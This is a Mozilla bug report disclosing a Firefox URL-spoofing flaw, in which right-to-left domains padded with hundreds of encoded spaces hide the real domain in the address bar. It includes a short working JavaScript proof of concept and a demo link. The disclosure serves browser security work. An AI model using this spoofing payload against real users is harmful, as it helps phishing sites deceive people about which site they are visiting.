1317654 - Firefox RTL+Space URL Spoofing

Status: RESOLVED DUPLICATE of bug 1298584

(Core :: Layout: Text and Fonts, defect)

Description

[xisigr]

Attachment: firefox_url_rtl.png

VULNERABILITY DETAILS
RTL URLs make IP address to the left side of the Firefox Omnibox.Unicode Character 'SPACE' (U+0020),which will display blank in the Chrome Omnibox. A lot of space will hide the real domain.

VERSION
Firefox Version: [49.0.2] + [stable]
FireNightly Version: [53.0a1] 
Operating System: [Windows7&10,MAC10.12.1]

REPRODUCTION CASE
POC:
<script>
function aa(){
    var link = document.createElement('a');
    link.href = "http://xn--ggbla1c4e.xn--ngbc5azd/?"+Array(0x100).join("%20")+"127.0.0.1";
    link.target="aaaa";
    document.body.appendChild(link);
    link.click();
}
</script>
<a onclick="aa();" href="javascript:void(0);">CLICK ME</a>

Online Demo:http://xisigr.com/test/spoof/firefox/rtl.html

Comment 1

[xisigr]

There is a wrong word in ‘VULNERABILITY DETAILS:display blank in the Chrome Omnibox’，Chrome changed to Firefox.:)